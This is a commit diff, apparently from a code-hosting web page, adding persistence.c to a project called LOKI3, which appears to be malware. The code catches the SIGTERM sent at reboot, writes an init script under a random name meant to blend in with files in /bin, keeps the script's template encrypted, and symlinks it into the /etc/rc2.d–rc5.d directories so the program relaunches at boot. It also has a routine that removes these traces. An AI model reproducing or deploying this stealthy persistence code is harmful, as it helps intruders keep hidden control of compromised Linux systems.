summaryrefslogtreecommitdiff
path: root/persistence.c
diff options
context:
space:
mode:
Diffstat (limited to 'persistence.c')
-rw-r--r--persistence.c117
1 files changed, 117 insertions, 0 deletions
diff --git a/persistence.c b/persistence.c
new file mode 100644
index 0000000..3d6a42c
--- /dev/null
+++ b/persistence.c
@@ -0,0 +1,117 @@
+/*
+ * LOKI3
+ *
+ * [ persistence.h ]
+ *
+ * 2019 and beyond Elective Surgery [dmfr]
+ */
+
+#ifdef PERSISTENCE
+#include "loki.h"
+#include "persistence.h"
+
+
+extern estring S_SYSV_SERVICE;
+
+
+/*
+ * Generate a random string.
+ * Used the character set because it blended in with files in /bin:
+ * % strings * |grep ABC |sort |uniq -c |sort -n
+ * ...snip...
+ * 257 0123456789ABCDEF <--- pretty common alphanumeric string.
+ */
+static void random_string(char *dst, size_t len) {
+ char character_set[] = "0123456789ABCDEF";
+
+ while (len--) {
+ *dst++ = character_set[rand() % (sizeof(character_set) - 1)];
+ }
+
+ *dst = '\0';
+}
+
+static void random_string_range(char *dst, size_t lower, size_t upper) {
+ int len;
+
+ len = (rand() % (upper - lower + 1)) + lower;
+ random_string(dst, len);
+}
+
+
+/*
+ * SIGTERM handler. This will be caught when the `reboot` command is
+ * issued, or `kill our_pid_here`.
+ *
+ * This persistence sets up a SysV service when SIGTERM is caught. reboot
+ * and init 6 first attempt to send all process the SIGTERM signal so they
+ * may gracefully exit. We take advantage of this and gracefully exit by
+ * installing persistence.
+ */
+void handle_sigterm(int signo) {
+ /* create init script and symlinks */
+ FILE *fp;
+ char self[PATH_MAX + 1];
+ char service_name[16];
+ char str[8192];
+ char *dbuf;
+ size_t n;
+
+
+ random_string_range(service_name, 4, sizeof(service_name));
+
+ fp = fopen(INIT_SCRIPT, "w+"); // TODO obfuscate this
+ if (fp == NULL) {
+ perror("fopen");
+ return;
+ }
+
+ n = readlink("/proc/self/exe", self, sizeof(self));
+ if (n == -1) {
+ perror("readlink");
+ return;
+ }
+
+ dbuf = decrypt(S_SYSV_SERVICE);
+ snprintf(str, sizeof(str), dbuf,
+ /* "#!/bin/sh\n" */
+ /* "### BEGIN INIT INFO\n" */
+ /* "# Provides: %s\n" */
+ /* "# Default-Start: 2 3 4 5\n" */
+ /* "# Default-Stop: 0 1 6\n" */
+ /* "# Short-Description: %s\n" */
+ /* "# Description: %s\n" */
+ /* "### END INIT INFO\n\n" */
+ /* "case \"$1\" in\n" */
+ /* " start)\n" */
+ /* " %s &\n" */
+ /* " ;;\n" */
+ /* "esac\n" */
+ /* "exit 0\n", */
+ service_name, service_name, service_name, self);
+ destroy(dbuf, S_SYSV_SERVICE.size);
+
+ fputs(str, fp);
+
+ // TODO error checking
+ chmod(INIT_SCRIPT, S_IRUSR | S_IWUSR | S_IXUSR | S_IRGRP | S_IXGRP | S_IROTH | S_IXOTH);
+ symlink(INIT_SCRIPT, "/etc/rc2.d/" PRIORITY); // TODO obfuscate these
+ symlink(INIT_SCRIPT, "/etc/rc3.d/" PRIORITY);
+ symlink(INIT_SCRIPT, "/etc/rc4.d/" PRIORITY);
+ symlink(INIT_SCRIPT, "/etc/rc5.d/" PRIORITY);
+
+ fclose(fp);
+}
+
+/*
+ * Remove persistence files and symlinks.
+ */
+void unlink_persistence() {
+ // TODO error checking
+ unlink(INIT_SCRIPT);
+ unlink("/etc/rc2.d/" PRIORITY);
+ unlink("/etc/rc3.d/" PRIORITY);
+ unlink("/etc/rc4.d/" PRIORITY);
+ unlink("/etc/rc5.d/" PRIORITY);
+}
+#endif /* PERSISTENCE */